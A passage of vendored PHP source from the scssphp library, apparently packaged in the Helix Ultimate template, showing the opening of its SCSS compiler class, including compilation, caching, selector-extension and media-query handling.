        if (is_array($value) && isset($value[0]) && \in_array($value[0], [Type::T_NULL, Type::T_COLOR, Type::T_KEYWORD, Type::T_LIST, Type::T_MAP, Type::T_STRING])) {
            return $value;
        }

        if ($value === null) {
            return Compiler::$null;
        }

        if ($value === true) {
            return Compiler::$true;
        }

        if ($value === false) {
            return Compiler::$false;
        }

        if ($value === '') {
            return Compiler::$emptyString;
        }

        if (\is_int($value) || \is_float($value)) {
            return new Number($value, '');
        }

        if (\is_string($value)) {
            return [Type::T_STRING, '"', [$value]];
        }

        throw new \InvalidArgumentException(sprintf('Cannot convert the value of type "%s" to a Sass value.', gettype($value)));
    }
}
PK!��Lh�h�5helixultimate/vendor/scssphp/scssphp/src/Compiler.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

use ScssPhp\ScssPhp\Base\Range;
use ScssPhp\ScssPhp\Compiler\CachedResult;
use ScssPhp\ScssPhp\Compiler\Environment;
use ScssPhp\ScssPhp\Exception\CompilerException;
use ScssPhp\ScssPhp\Exception\ParserException;
use ScssPhp\ScssPhp\Exception\SassException;
use ScssPhp\ScssPhp\Exception\SassScriptException;
use ScssPhp\ScssPhp\Formatter\Compressed;
use ScssPhp\ScssPhp\Formatter\Expanded;
use ScssPhp\ScssPhp\Formatter\OutputBlock;
use ScssPhp\ScssPhp\Logger\LoggerInterface;
use ScssPhp\ScssPhp\Logger\StreamLogger;
use ScssPhp\ScssPhp\Node\Number;
use ScssPhp\ScssPhp\SourceMap\SourceMapGenerator;
use ScssPhp\ScssPhp\Util\Path;

/**
 * The scss compiler and parser.
 *
 * Converting SCSS to CSS is a three stage process. The incoming file is parsed
 * by `Parser` into a syntax tree, then it is compiled into another tree
 * representing the CSS structure by `Compiler`. The CSS tree is fed into a
 * formatter, like `Formatter` which then outputs CSS as a string.
 *
 * During the first compile, all values are *reduced*, which means that their
 * types are brought to the lowest form before being dump as strings. This
 * handles math equations, variable dereferences, and the like.
 *
 * The `compile` function of `Compiler` is the entry point.
 *
 * In summary:
 *
 * The `Compiler` class creates an instance of the parser, feeds it SCSS code,
 * then transforms the resulting tree to a CSS tree. This class also holds the
 * evaluation context, such as all available mixins and variables at any given
 * time.
 *
 * The `Parser` class is only concerned with parsing its input.
 *
 * The `Formatter` takes a CSS tree, and dumps it to a formatted string,
 * handling things like indentation.
 */

/**
 * SCSS compiler
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 *
 * @final Extending the Compiler is deprecated
 */
class Compiler
{
    /**
     * @deprecated
     */
    const LINE_COMMENTS = 1;
    /**
     * @deprecated
     */
    const DEBUG_INFO    = 2;

    /**
     * @deprecated
     */
    const WITH_RULE     = 1;
    /**
     * @deprecated
     */
    const WITH_MEDIA    = 2;
    /**
     * @deprecated
     */
    const WITH_SUPPORTS = 4;
    /**
     * @deprecated
     */
    const WITH_ALL      = 7;

    const SOURCE_MAP_NONE   = 0;
    const SOURCE_MAP_INLINE = 1;
    const SOURCE_MAP_FILE   = 2;

    /**
     * @var array<string, string>
     */
    protected static $operatorNames = [
        '+'   => 'add',
        '-'   => 'sub',
        '*'   => 'mul',
        '/'   => 'div',
        '%'   => 'mod',

        '=='  => 'eq',
        '!='  => 'neq',
        '<'   => 'lt',
        '>'   => 'gt',

        '<='  => 'lte',
        '>='  => 'gte',
    ];

    /**
     * @var array<string, string>
     */
    protected static $namespaces = [
        'special'  => '%',
        'mixin'    => '@',
        'function' => '^',
    ];

    public static $true         = [Type::T_KEYWORD, 'true'];
    public static $false        = [Type::T_KEYWORD, 'false'];
    /** @deprecated */
    public static $NaN          = [Type::T_KEYWORD, 'NaN'];
    /** @deprecated */
    public static $Infinity     = [Type::T_KEYWORD, 'Infinity'];
    public static $null         = [Type::T_NULL];
    public static $nullString   = [Type::T_STRING, '', []];
    public static $defaultValue = [Type::T_KEYWORD, ''];
    public static $selfSelector = [Type::T_SELF];
    public static $emptyList    = [Type::T_LIST, '', []];
    public static $emptyMap     = [Type::T_MAP, [], []];
    public static $emptyString  = [Type::T_STRING, '"', []];
    public static $with         = [Type::T_KEYWORD, 'with'];
    public static $without      = [Type::T_KEYWORD, 'without'];

    /**
     * @var array<int, string|callable>
     */
    protected $importPaths = [];
    /**
     * @var array<string, Block>
     */
    protected $importCache = [];

    /**
     * @var string[]
     */
    protected $importedFiles = [];

    /**
     * @var array
     * @phpstan-var array<string, array{0: callable, 1: array|null}>
     */
    protected $userFunctions = [];
    /**
     * @var array<string, mixed>
     */
    protected $registeredVars = [];
    /**
     * @var array<string, bool>
     */
    protected $registeredFeatures = [
        'extend-selector-pseudoclass' => false,
        'at-error'                    => true,
        'units-level-3'               => true,
        'global-variable-shadowing'   => false,
    ];

    /**
     * @var string|null
     */
    protected $encoding = null;
    /**
     * @var null
     * @deprecated
     */
    protected $lineNumberStyle = null;

    /**
     * @var int|SourceMapGenerator
     * @phpstan-var self::SOURCE_MAP_*|SourceMapGenerator
     */
    protected $sourceMap = self::SOURCE_MAP_NONE;

    /**
     * @var array
     * @phpstan-var array{sourceRoot?: string, sourceMapFilename?: string|null, sourceMapURL?: string|null, sourceMapWriteTo?: string|null, outputSourceFiles?: bool, sourceMapRootpath?: string, sourceMapBasepath?: string}
     */
    protected $sourceMapOptions = [];

    /**
     * @var string|\ScssPhp\ScssPhp\Formatter
     */
    protected $formatter = Expanded::class;

    /**
     * @var Environment
     */
    protected $rootEnv;
    /**
     * @var OutputBlock|null
     */
    protected $rootBlock;

    /**
     * @var \ScssPhp\ScssPhp\Compiler\Environment
     */
    protected $env;
    /**
     * @var OutputBlock|null
     */
    protected $scope;
    /**
     * @var Environment|null
     */
    protected $storeEnv;
    /**
     * @var bool|null
     */
    protected $charsetSeen;
    /**
     * @var array<int, string|null>
     */
    protected $sourceNames;

    /**
     * @var Cache|null
     */
    protected $cache;

    /**
     * @var bool
     */
    protected $cacheCheckImportResolutions = false;

    /**
     * @var int
     */
    protected $indentLevel;
    /**
     * @var array[]
     */
    protected $extends;
    /**
     * @var array<string, int[]>
     */
    protected $extendsMap;

    /**
     * @var array<string, int>
     */
    protected $parsedFiles = [];

    /**
     * @var Parser|null
     */
    protected $parser;
    /**
     * @var int|null
     */
    protected $sourceIndex;
    /**
     * @var int|null
     */
    protected $sourceLine;
    /**
     * @var int|null
     */
    protected $sourceColumn;
    /**
     * @var bool|null
     */
    protected $shouldEvaluate;
    /**
     * @var null
     * @deprecated
     */
    protected $ignoreErrors;
    /**
     * @var bool
     */
    protected $ignoreCallStackMessage = false;

    /**
     * @var array[]
     */
    protected $callStack = [];

    /**
     * @var array
     * @phpstan-var list<array{currentDir: string|null, path: string, filePath: string}>
     */
    private $resolvedImports = [];

    /**
     * The directory of the currently processed file
     *
     * @var string|null
     */
    private $currentDirectory;

    /**
     * The directory of the input file
     *
     * @var string
     */
    private $rootDirectory;

    /**
     * @var bool
     */
    private $legacyCwdImportPath = true;

    /**
     * @var LoggerInterface
     */
    private $logger;

    /**
     * @var array<string, bool>
     */
    private $warnedChildFunctions = [];

    /**
     * Constructor
     *
     * @param array|null $cacheOptions
     * @phpstan-param array{cacheDir?: string, prefix?: string, forceRefresh?: string, checkImportResolutions?: bool}|null $cacheOptions
     */
    public function __construct($cacheOptions = null)
    {
        $this->sourceNames = [];

        if ($cacheOptions) {
            $this->cache = new Cache($cacheOptions);
            if (!empty($cacheOptions['checkImportResolutions'])) {
                $this->cacheCheckImportResolutions = true;
            }
        }

        $this->logger = new StreamLogger(fopen('php://stderr', 'w'), true);
    }

    /**
     * Get compiler options
     *
     * @return array<string, mixed>
     *
     * @internal
     */
    public function getCompileOptions()
    {
        $options = [
            'importPaths'        => $this->importPaths,
            'registeredVars'     => $this->registeredVars,
            'registeredFeatures' => $this->registeredFeatures,
            'encoding'           => $this->encoding,
            'sourceMap'          => serialize($this->sourceMap),
            'sourceMapOptions'   => $this->sourceMapOptions,
            'formatter'          => $this->formatter,
            'legacyImportPath'   => $this->legacyCwdImportPath,
        ];

        return $options;
    }

    /**
     * Sets an alternative logger.
     *
     * Changing the logger in the middle of the compilation is not
     * supported and will result in an undefined behavior.
     *
     * @param LoggerInterface $logger
     *
     * @return void
     */
    public function setLogger(LoggerInterface $logger)
    {
        $this->logger = $logger;
    }

    /**
     * Set an alternative error output stream, for testing purpose only
     *
     * @param resource $handle
     *
     * @return void
     *
     * @deprecated Use {@see setLogger} instead
     */
    public function setErrorOuput($handle)
    {
        @trigger_error('The method "setErrorOuput" is deprecated. Use "setLogger" instead.', E_USER_DEPRECATED);

        $this->logger = new StreamLogger($handle);
    }

    /**
     * Compile scss
     *
     * @param string      $code
     * @param string|null $path
     *
     * @return string
     *
     * @throws SassException when the source fails to compile
     *
     * @deprecated Use {@see compileString} instead.
     */
    public function compile($code, $path = null)
    {
        @trigger_error(sprintf('The "%s" method is deprecated. Use "compileString" instead.', __METHOD__), E_USER_DEPRECATED);

        $result = $this->compileString($code, $path);

        $sourceMap = $result->getSourceMap();

        if ($sourceMap !== null) {
            if ($this->sourceMap instanceof SourceMapGenerator) {
                $this->sourceMap->saveMap($sourceMap);
            } elseif ($this->sourceMap === self::SOURCE_MAP_FILE) {
                $sourceMapGenerator = new SourceMapGenerator($this->sourceMapOptions);
                $sourceMapGenerator->saveMap($sourceMap);
            }
        }

        return $result->getCss();
    }

    /**
     * Compile scss
     *
     * @param string      $source
     * @param string|null $path
     *
     * @return CompilationResult
     *
     * @throws SassException when the source fails to compile
     */
    public function compileString($source, $path = null)
    {
        if ($this->cache) {
            $cacheKey       = ($path ? $path : '(stdin)') . ':' . md5($source);
            $compileOptions = $this->getCompileOptions();
            $cachedResult = $this->cache->getCache('compile', $cacheKey, $compileOptions);

            if ($cachedResult instanceof CachedResult && $this->isFreshCachedResult($cachedResult)) {
                return $cachedResult->getResult();
            }
        }

        $this->indentLevel    = -1;
        $this->extends        = [];
        $this->extendsMap     = [];
        $this->sourceIndex    = null;
        $this->sourceLine     = null;
        $this->sourceColumn   = null;
        $this->env            = null;
        $this->scope          = null;
        $this->storeEnv       = null;
        $this->charsetSeen    = null;
        $this->shouldEvaluate = null;
        $this->ignoreCallStackMessage = false;
        $this->parsedFiles = [];
        $this->importedFiles = [];
        $this->resolvedImports = [];

        if (!\is_null($path) && is_file($path)) {
            $path = realpath($path) ?: $path;
            $this->currentDirectory = dirname($path);
            $this->rootDirectory = $this->currentDirectory;
        } else {
            $this->currentDirectory = null;
            $this->rootDirectory = getcwd();
        }

        try {
            $this->parser = $this->parserFactory($path);
            $tree         = $this->parser->parse($source);
            $this->parser = null;

            $this->formatter = new $this->formatter();
            $this->rootBlock = null;
            $this->rootEnv   = $this->pushEnv($tree);

            $warnCallback = function ($message, $deprecation) {
                $this->logger->warn($message, $deprecation);
            };
            $previousWarnCallback = Warn::setCallback($warnCallback);

            try {
                $this->injectVariables($this->registeredVars);
                $this->compileRoot($tree);
                $this->popEnv();
            } finally {
                Warn::setCallback($previousWarnCallback);
            }

            $sourceMapGenerator = null;

            if ($this->sourceMap) {
                if (\is_object($this->sourceMap) && $this->sourceMap instanceof SourceMapGenerator) {
                    $sourceMapGenerator = $this->sourceMap;
                    $this->sourceMap = self::SOURCE_MAP_FILE;
                } elseif ($this->sourceMap !== self::SOURCE_MAP_NONE) {
                    $sourceMapGenerator = new SourceMapGenerator($this->sourceMapOptions);
                }
            }

            $out = $this->formatter->format($this->scope, $sourceMapGenerator);

            $prefix = '';

            if (!$this->charsetSeen) {
                if (strlen($out) !== Util::mbStrlen($out)) {
                    $prefix = '@charset "UTF-8";' . "\n";
                    $out = $prefix . $out;
                }
            }

            $sourceMap = null;

            if (! empty($out) && $this->sourceMap && $this->sourceMap !== self::SOURCE_MAP_NONE) {
                $sourceMap = $sourceMapGenerator->generateJson($prefix);
                $sourceMapUrl = null;

                switch ($this->sourceMap) {
                    case self::SOURCE_MAP_INLINE:
                        $sourceMapUrl = sprintf('data:application/json,%s', Util::encodeURIComponent($sourceMap));
                        break;

                    case self::SOURCE_MAP_FILE:
                        if (isset($this->sourceMapOptions['sourceMapURL'])) {
                            $sourceMapUrl = $this->sourceMapOptions['sourceMapURL'];
                        }
                        break;
                }

                if ($sourceMapUrl !== null) {
                    $out .= sprintf('/*# sourceMappingURL=%s */', $sourceMapUrl);
                }
            }
        } catch (SassScriptException $e) {
            throw new CompilerException($this->addLocationToMessage($e->getMessage()), 0, $e);
        }

        $includedFiles = [];

        foreach ($this->resolvedImports as $resolvedImport) {
            $includedFiles[$resolvedImport['filePath']] = $resolvedImport['filePath'];
        }

        $result = new CompilationResult($out, $sourceMap, array_values($includedFiles));

        if ($this->cache && isset($cacheKey) && isset($compileOptions)) {
            $this->cache->setCache('compile', $cacheKey, new CachedResult($result, $this->parsedFiles, $this->resolvedImports), $compileOptions);
        }

        // Reset state to free memory
        // TODO in 2.0, reset parsedFiles as well when the getter is removed.
        $this->resolvedImports = [];
        $this->importedFiles = [];

        return $result;
    }

    /**
     * @param CachedResult $result
     *
     * @return bool
     */
    private function isFreshCachedResult(CachedResult $result)
    {
        // check if any dependency file changed since the result was compiled
        foreach ($result->getParsedFiles() as $file => $mtime) {
            if (! is_file($file) || filemtime($file) !== $mtime) {
                return false;
            }
        }

        if ($this->cacheCheckImportResolutions) {
            $resolvedImports = [];

            foreach ($result->getResolvedImports() as $import) {
                $currentDir = $import['currentDir'];
                $path = $import['path'];
                // store the check across all the results in memory to avoid multiple findImport() on the same path
                // with same context.
                // this is happening in a same hit with multiple compilations (especially with big frameworks)
                if (empty($resolvedImports[$currentDir][$path])) {
                    $resolvedImports[$currentDir][$path] = $this->findImport($path, $currentDir);
                }

                if ($resolvedImports[$currentDir][$path] !== $import['filePath']) {
                    return false;
                }
            }
        }

        return true;
    }

    /**
     * Instantiate parser
     *
     * @param string|null $path
     *
     * @return \ScssPhp\ScssPhp\Parser
     */
    protected function parserFactory($path)
    {
        // https://sass-lang.com/documentation/at-rules/import
        // CSS files imported by Sass don’t allow any special Sass features.
        // In order to make sure authors don’t accidentally write Sass in their CSS,
        // all Sass features that aren’t also valid CSS will produce errors.
        // Otherwise, the CSS will be rendered as-is. It can even be extended!
        $cssOnly = false;

        if ($path !== null && substr($path, -4) === '.css') {
            $cssOnly = true;
        }

        $parser = new Parser($path, \count($this->sourceNames), $this->encoding, $this->cache, $cssOnly, $this->logger);

        $this->sourceNames[] = $path;
        $this->addParsedFile($path);

        return $parser;
    }

    /**
     * Is self extend?
     *
     * @param array $target
     * @param array $origin
     *
     * @return boolean
     */
    protected function isSelfExtend($target, $origin)
    {
        foreach ($origin as $sel) {
            if (\in_array($target, $sel)) {
                return true;
            }
        }

        return false;
    }

    /**
     * Push extends
     *
     * @param array      $target
     * @param array      $origin
     * @param array|null $block
     *
     * @return void
     */
    protected function pushExtends($target, $origin, $block)
    {
        $i = \count($this->extends);
        $this->extends[] = [$target, $origin, $block];

        foreach ($target as $part) {
            if (isset($this->extendsMap[$part])) {
                $this->extendsMap[$part][] = $i;
            } else {
                $this->extendsMap[$part] = [$i];
            }
        }
    }

    /**
     * Make output block
     *
     * @param string|null   $type
     * @param string[]|null $selectors
     *
     * @return \ScssPhp\ScssPhp\Formatter\OutputBlock
     */
    protected function makeOutputBlock($type, $selectors = null)
    {
        $out = new OutputBlock();
        $out->type      = $type;
        $out->lines     = [];
        $out->children  = [];
        $out->parent    = $this->scope;
        $out->selectors = $selectors;
        $out->depth     = $this->env->depth;

        if ($this->env->block instanceof Block) {
            $out->sourceName   = $this->env->block->sourceName;
            $out->sourceLine   = $this->env->block->sourceLine;
            $out->sourceColumn = $this->env->block->sourceColumn;
        } else {
            $out->sourceName   = null;
            $out->sourceLine   = null;
            $out->sourceColumn = null;
        }

        return $out;
    }

    /**
     * Compile root
     *
     * @param \ScssPhp\ScssPhp\Block $rootBlock
     *
     * @return void
     */
    protected function compileRoot(Block $rootBlock)
    {
        $this->rootBlock = $this->scope = $this->makeOutputBlock(Type::T_ROOT);

        $this->compileChildrenNoReturn($rootBlock->children, $this->scope);
        $this->flattenSelectors($this->scope);
        $this->missingSelectors();
    }

    /**
     * Report missing selectors
     *
     * @return void
     */
    protected function missingSelectors()
    {
        foreach ($this->extends as $extend) {
            if (isset($extend[3])) {
                continue;
            }

            list($target, $origin, $block) = $extend;

            // ignore if !optional
            if ($block[2]) {
                continue;
            }

            $target = implode(' ', $target);
            $origin = $this->collapseSelectors($origin);

            $this->sourceLine = $block[Parser::SOURCE_LINE];
            throw $this->error("\"$origin\" failed to @extend \"$target\". The selector \"$target\" was not found.");
        }
    }

    /**
     * Flatten selectors
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $block
     * @param string                                 $parentKey
     *
     * @return void
     */
    protected function flattenSelectors(OutputBlock $block, $parentKey = null)
    {
        if ($block->selectors) {
            $selectors = [];

            foreach ($block->selectors as $s) {
                $selectors[] = $s;

                if (! \is_array($s)) {
                    continue;
                }

                // check extends
                if (! empty($this->extendsMap)) {
                    $this->matchExtends($s, $selectors);

                    // remove duplicates
                    array_walk($selectors, function (&$value) {
                        $value = serialize($value);
                    });

                    $selectors = array_unique($selectors);

                    array_walk($selectors, function (&$value) {
                        $value = unserialize($value);
                    });
                }
            }

            $block->selectors = [];
            $placeholderSelector = false;

            foreach ($selectors as $selector) {
                if ($this->hasSelectorPlaceholder($selector)) {
                    $placeholderSelector = true;
                    continue;
                }

                $block->selectors[] = $this->compileSelector($selector);
            }

            if ($placeholderSelector && 0 === \count($block->selectors) && null !== $parentKey) {
                unset($block->parent->children[$parentKey]);

                return;
            }
        }

        foreach ($block->children as $key => $child) {
            $this->flattenSelectors($child, $key);
        }
    }

    /**
     * Glue parts of :not( or :nth-child( ... that are in general split in selectors parts
     *
     * @param array $parts
     *
     * @return array
     */
    protected function glueFunctionSelectors($parts)
    {
        $new = [];

        foreach ($parts as $part) {
            if (\is_array($part)) {
                $part = $this->glueFunctionSelectors($part);
                $new[] = $part;
            } else {
                // a selector part finishing with a ) is the last part of a :not( or :nth-child(
                // and need to be joined to this
                if (
                    \count($new) && \is_string($new[\count($new) - 1]) &&
                    \strlen($part) && substr($part, -1) === ')' && strpos($part, '(') === false
                ) {
                    while (\count($new) > 1 && substr($new[\count($new) - 1], -1) !== '(') {
                        $part = array_pop($new) . $part;
                    }
                    $new[\count($new) - 1] .= $part;
                } else {
                    $new[] = $part;
                }
            }
        }

        return $new;
    }

    /**
     * Match extends
     *
     * @param array   $selector
     * @param array   $out
     * @param integer $from
     * @param boolean $initial
     *
     * @return void
     */
    protected function matchExtends($selector, &$out, $from = 0, $initial = true)
    {
        static $partsPile = [];
        $selector = $this->glueFunctionSelectors($selector);

        if (\count($selector) == 1 && \in_array(reset($selector), $partsPile)) {
            return;
        }

        $outRecurs = [];

        foreach ($selector as $i => $part) {
            if ($i < $from) {
                continue;
            }

            // check that we are not building an infinite loop of extensions
            // if the new part is just including a previous part don't try to extend anymore
            if (\count($part) > 1) {
                foreach ($partsPile as $previousPart) {
                    if (! \count(array_diff($previousPart, $part))) {
                        continue 2;
                    }
                }
            }

            $partsPile[] = $part;

            if ($this->matchExtendsSingle($part, $origin, $initial)) {
                $after       = \array_slice($selector, $i + 1);
                $before      = \array_slice($selector, 0, $i);
                list($before, $nonBreakableBefore) = $this->extractRelationshipFromFragment($before);

                foreach ($origin as $new) {
                    $k = 0;

                    // remove shared parts
                    if (\count($new) > 1) {
                        while ($k < $i && isset($new[$k]) && $selector[$k] === $new[$k]) {
                            $k++;
                        }
                    }

                    if (\count($nonBreakableBefore) && $k === \count($new)) {
                        $k--;
                    }

                    $replacement = [];
                    $tempReplacement = $k > 0 ? \array_slice($new, $k) : $new;

                    for ($l = \count($tempReplacement) - 1; $l >= 0; $l--) {
                        $slice = [];

                        foreach ($tempReplacement[$l] as $chunk) {
                            if (! \in_array($chunk, $slice)) {
                                $slice[] = $chunk;
                            }
                        }

                        array_unshift($replacement, $slice);

                        if (! $this->isImmediateRelationshipCombinator(end($slice))) {
                            break;
                        }
                    }

                    $afterBefore = $l != 0 ? \array_slice($tempReplacement, 0, $l) : [];

                    // Merge shared direct relationships.
                    $mergedBefore = $this->mergeDirectRelationships($afterBefore, $nonBreakableBefore);

                    $result = array_merge(
                        $before,
                        $mergedBefore,
                        $replacement,
                        $after
                    );

                    if ($result === $selector) {
                        continue;
                    }

                    $this->pushOrMergeExtentedSelector($out, $result);

                    // recursively check for more matches
                    $startRecurseFrom = \count($before) + min(\count($nonBreakableBefore), \count($mergedBefore));

                    if (\count($origin) > 1) {
                        $this->matchExtends($result, $out, $startRecurseFrom, false);
                    } else {
                        $this->matchExtends($result, $outRecurs, $startRecurseFrom, false);
                    }

                    // selector sequence merging
                    if (! empty($before) && \count($new) > 1) {
                        $preSharedParts = $k > 0 ? \array_slice($before, 0, $k) : [];
                        $postSharedParts = $k > 0 ? \array_slice($before, $k) : $before;

                        list($betweenSharedParts, $nonBreakabl2) = $this->extractRelationshipFromFragment($afterBefore);

                        $result2 = array_merge(
                            $preSharedParts,
                            $betweenSharedParts,
                            $postSharedParts,
                            $nonBreakabl2,
                            $nonBreakableBefore,
                            $replacement,
                            $after
                        );

                        $this->pushOrMergeExtentedSelector($out, $result2);
                    }
                }
            }
            array_pop($partsPile);
        }

        while (\count($outRecurs)) {
            $result = array_shift($outRecurs);
            $this->pushOrMergeExtentedSelector($out, $result);
        }
    }

    /**
     * Test a part for being a pseudo selector
     *
     * @param string $part
     * @param array  $matches
     *
     * @return boolean
     */
    protected function isPseudoSelector($part, &$matches)
    {
        if (
            strpos($part, ':') === 0 &&
            preg_match(",^::?([\w-]+)\((.+)\)$,", $part, $matches)
        ) {
            return true;
        }

        return false;
    }

    /**
     * Push extended selector except if
     *  - this is a pseudo selector
     *  - same as previous
     *  - in a white list
     * in this case we merge the pseudo selector content
     *
     * @param array $out
     * @param array $extended
     *
     * @return void
     */
    protected function pushOrMergeExtentedSelector(&$out, $extended)
    {
        if (\count($out) && \count($extended) === 1 && \count(reset($extended)) === 1) {
            $single = reset($extended);
            $part = reset($single);

            if (
                $this->isPseudoSelector($part, $matchesExtended) &&
                \in_array($matchesExtended[1], [ 'slotted' ])
            ) {
                $prev = end($out);
                $prev = $this->glueFunctionSelectors($prev);

                if (\count($prev) === 1 && \count(reset($prev)) === 1) {
                    $single = reset($prev);
                    $part = reset($single);

                    if (
                        $this->isPseudoSelector($part, $matchesPrev) &&
                        $matchesPrev[1] === $matchesExtended[1]
                    ) {
                        $extended = explode($matchesExtended[1] . '(', $matchesExtended[0], 2);
                        $extended[1] = $matchesPrev[2] . ', ' . $extended[1];
                        $extended = implode($matchesExtended[1] . '(', $extended);
                        $extended = [ [ $extended ]];
                        array_pop($out);
                    }
                }
            }
        }
        $out[] = $extended;
    }

    /**
     * Match extends single
     *
     * @param array   $rawSingle
     * @param array   $outOrigin
     * @param boolean $initial
     *
     * @return boolean
     */
    protected function matchExtendsSingle($rawSingle, &$outOrigin, $initial = true)
    {
        $counts = [];
        $single = [];

        // simple usual cases, no need to do the whole trick
        if (\in_array($rawSingle, [['>'],['+'],['~']])) {
            return false;
        }

        foreach ($rawSingle as $part) {
            // matches Number
            if (! \is_string($part)) {
                return false;
            }

            if (! preg_match('/^[\[.:#%]/', $part) && \count($single)) {
                $single[\count($single) - 1] .= $part;
            } else {
                $single[] = $part;
            }
        }

        $extendingDecoratedTag = false;

        if (\count($single) > 1) {
            $matches = null;
            $extendingDecoratedTag = preg_match('/^[a-z0-9]+$/i', $single[0], $matches) ? $matches[0] : false;
        }

        $outOrigin = [];
        $found = false;

        foreach ($single as $k => $part) {
            if (isset($this->extendsMap[$part])) {
                foreach ($this->extendsMap[$part] as $idx) {
                    $counts[$idx] = isset($counts[$idx]) ? $counts[$idx] + 1 : 1;
                }
            }

            if (
                $initial &&
                $this->isPseudoSelector($part, $matches) &&
                ! \in_array($matches[1], [ 'not' ])
            ) {
                $buffer    = $matches[2];
                $parser    = $this->parserFactory(__METHOD__);

                if ($parser->parseSelector($buffer, $subSelectors, false)) {
                    foreach ($subSelectors as $ksub => $subSelector) {
                        $subExtended = [];
                        $this->matchExtends($subSelector, $subExtended, 0, false);

                        if ($subExtended) {
                            $subSelectorsExtended = $subSelectors;
                            $subSelectorsExtended[$ksub] = $subExtended;

                            foreach ($subSelectorsExtended as $ksse => $sse) {
                                $subSelectorsExtended[$ksse] = $this->collapseSelectors($sse);
                            }

                            $subSelectorsExtended = implode(', ', $subSelectorsExtended);
                            $singleExtended = $single;
                            $singleExtended[$k] = str_replace('(' . $buffer . ')', "($subSelectorsExtended)", $part);
                            $outOrigin[] = [ $singleExtended ];
                            $found = true;
                        }
                    }
                }
            }
        }

        foreach ($counts as $idx => $count) {
            list($target, $origin, /* $block */) = $this->extends[$idx];

            $origin = $this->glueFunctionSelectors($origin);

            // check count
            if ($count !== \count($target)) {
                continue;
            }

            $this->extends[$idx][3] = true;

            $rem = array_diff($single, $target);

            foreach ($origin as $j => $new) {
                // prevent infinite loop when target extends itself
                if ($this->isSelfExtend($single, $origin) && ! $initial) {
                    return false;
                }

                $replacement = end($new);

                // Extending a decorated tag with another tag is not possible.
                if (
                    $extendingDecoratedTag && $replacement[0] != $extendingDecoratedTag &&
                    preg_match('/^[a-z0-9]+$/i', $replacement[0])
                ) {
                    unset($origin[$j]);
                    continue;
                }

                $combined = $this->combineSelectorSingle($replacement, $rem);

                if (\count(array_diff($combined, $origin[$j][\count($origin[$j]) - 1]))) {
                    $origin[$j][\count($origin[$j]) - 1] = $combined;
                }
            }

            $outOrigin = array_merge($outOrigin, $origin);

            $found = true;
        }

        return $found;
    }

    /**
     * Extract a relationship from the fragment.
     *
     * When extracting the last portion of a selector we will be left with a
     * fragment which may end with a direction relationship combinator. This
     * method will extract the relationship fragment and return it along side
     * the rest.
     *
     * @param array $fragment The selector fragment maybe ending with a direction relationship combinator.
     *
     * @return array The selector without the relationship fragment if any, the relationship fragment.
     */
    protected function extractRelationshipFromFragment(array $fragment)
    {
        $parents = [];
        $children = [];

        $j = $i = \count($fragment);

        for (;;) {
            $children = $j != $i ? \array_slice($fragment, $j, $i - $j) : [];
            $parents  = \array_slice($fragment, 0, $j);
            $slice    = end($parents);

            if (empty($slice) || ! $this->isImmediateRelationshipCombinator($slice[0])) {
                break;
            }

            $j -= 2;
        }

        return [$parents, $children];
    }

    /**
     * Combine selector single
     *
     * @param array $base
     * @param array $other
     *
     * @return array
     */
    protected function combineSelectorSingle($base, $other)
    {
        $tag    = [];
        $out    = [];
        $wasTag = false;
        $pseudo = [];

        while (\count($other) && strpos(end($other), ':') === 0) {
            array_unshift($pseudo, array_pop($other));
        }

        foreach ([array_reverse($base), array_reverse($other)] as $single) {
            $rang = count($single);

            foreach ($single as $part) {
                if (preg_match('/^[\[:]/', $part)) {
                    $out[] = $part;
                    $wasTag = false;
                } elseif (preg_match('/^[\.#]/', $part)) {
                    array_unshift($out, $part);
                    $wasTag = false;
                } elseif (preg_match('/^[^_-]/', $part) && $rang === 1) {
                    $tag[] = $part;
                    $wasTag = true;
                } elseif ($wasTag) {
                    $tag[\count($tag) - 1] .= $part;
                } else {
                    array_unshift($out, $part);
                }
                $rang--;
            }
        }

        if (\count($tag)) {
            array_unshift($out, $tag[0]);
        }

        while (\count($pseudo)) {
            $out[] = array_shift($pseudo);
        }

        return $out;
    }

    /**
     * Compile media
     *
     * @param \ScssPhp\ScssPhp\Block $media
     *
     * @return void
     */
    protected function compileMedia(Block $media)
    {
        $this->pushEnv($media);

        $mediaQueries = $this->compileMediaQuery($this->multiplyMedia($this->env));

        if (! empty($mediaQueries)) {
            $previousScope = $this->scope;
            $parentScope = $this->mediaParent($this->scope);

            foreach ($mediaQueries as $mediaQuery) {
                $this->scope = $this->makeOutputBlock(Type::T_MEDIA, [$mediaQuery]);

                $parentScope->children[] = $this->scope;
                $parentScope = $this->scope;
            }

            // top level properties in a media cause it to be wrapped
            $needsWrap = false;

            foreach ($media->children as $child) {
                $type = $child[0];

                if (
                    $type !== Type::T_BLOCK &&
                    $type !== Type::T_MEDIA &&
                    $type !== Type::T_DIRECTIVE &&
                    $type !== Type::T_IMPORT
                ) {
                    $needsWrap = true;
                    break;
                }
            }

            if ($needsWrap) {
                $wrapped = new Block();
                $wrapped->sourceName   = $media->sourceName;
                $wrapped->sourceIndex  = $media->sourceIndex;
                $wrapped->sourceLine   = $media->sourceLine;
                $wrapped->sourceColumn = $media->sourceColumn;
                $wrapped->selectors    = [];
                $wrapped->comments     = [];
                $wrapped->parent       = $media;
                $wrapped->children     = $media->children;

                $media->children = [[Type::T_BLOCK, $wrapped]];
            }

            $this->compileChildrenNoReturn($media->children, $this->scope);

            $this->scope = $previousScope;
        }

        $this->popEnv();
    }

    /**
     * Media parent
     *
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $scope
     *
     * @return \ScssPhp\ScssPhp\Formatter\OutputBlock
     */
    protected function mediaParent(OutputBlock $scope)
    {
        while (! empty($scope->parent)) {
            if (! empty($scope->type) && $scope->type !== Type::T_MEDIA) {
                break;
            }

            $scope = $scope->parent;
        }

        return $scope;
    }

    /**
     * Compile directive
     *
     * @param \ScssPhp\ScssPhp\Block|array $directive
     * @param \ScssPhp\ScssPhp\Formatter\OutputBlock $out
     *
     * @return void
     */
    protected function compileDirective($directive, OutputBlock $out)
    {
        if (\is_array($directive)) {
            $directiveName = $this->compileDirectiveName($directive[0]);
            $s = '@' . $directiveName;

            if (! empty($directive[1])) {
                $s .= ' ' . $this->compileValue($directive[1]);
            }
            // sass-spec compliance on newline after directives, a bit tricky :/
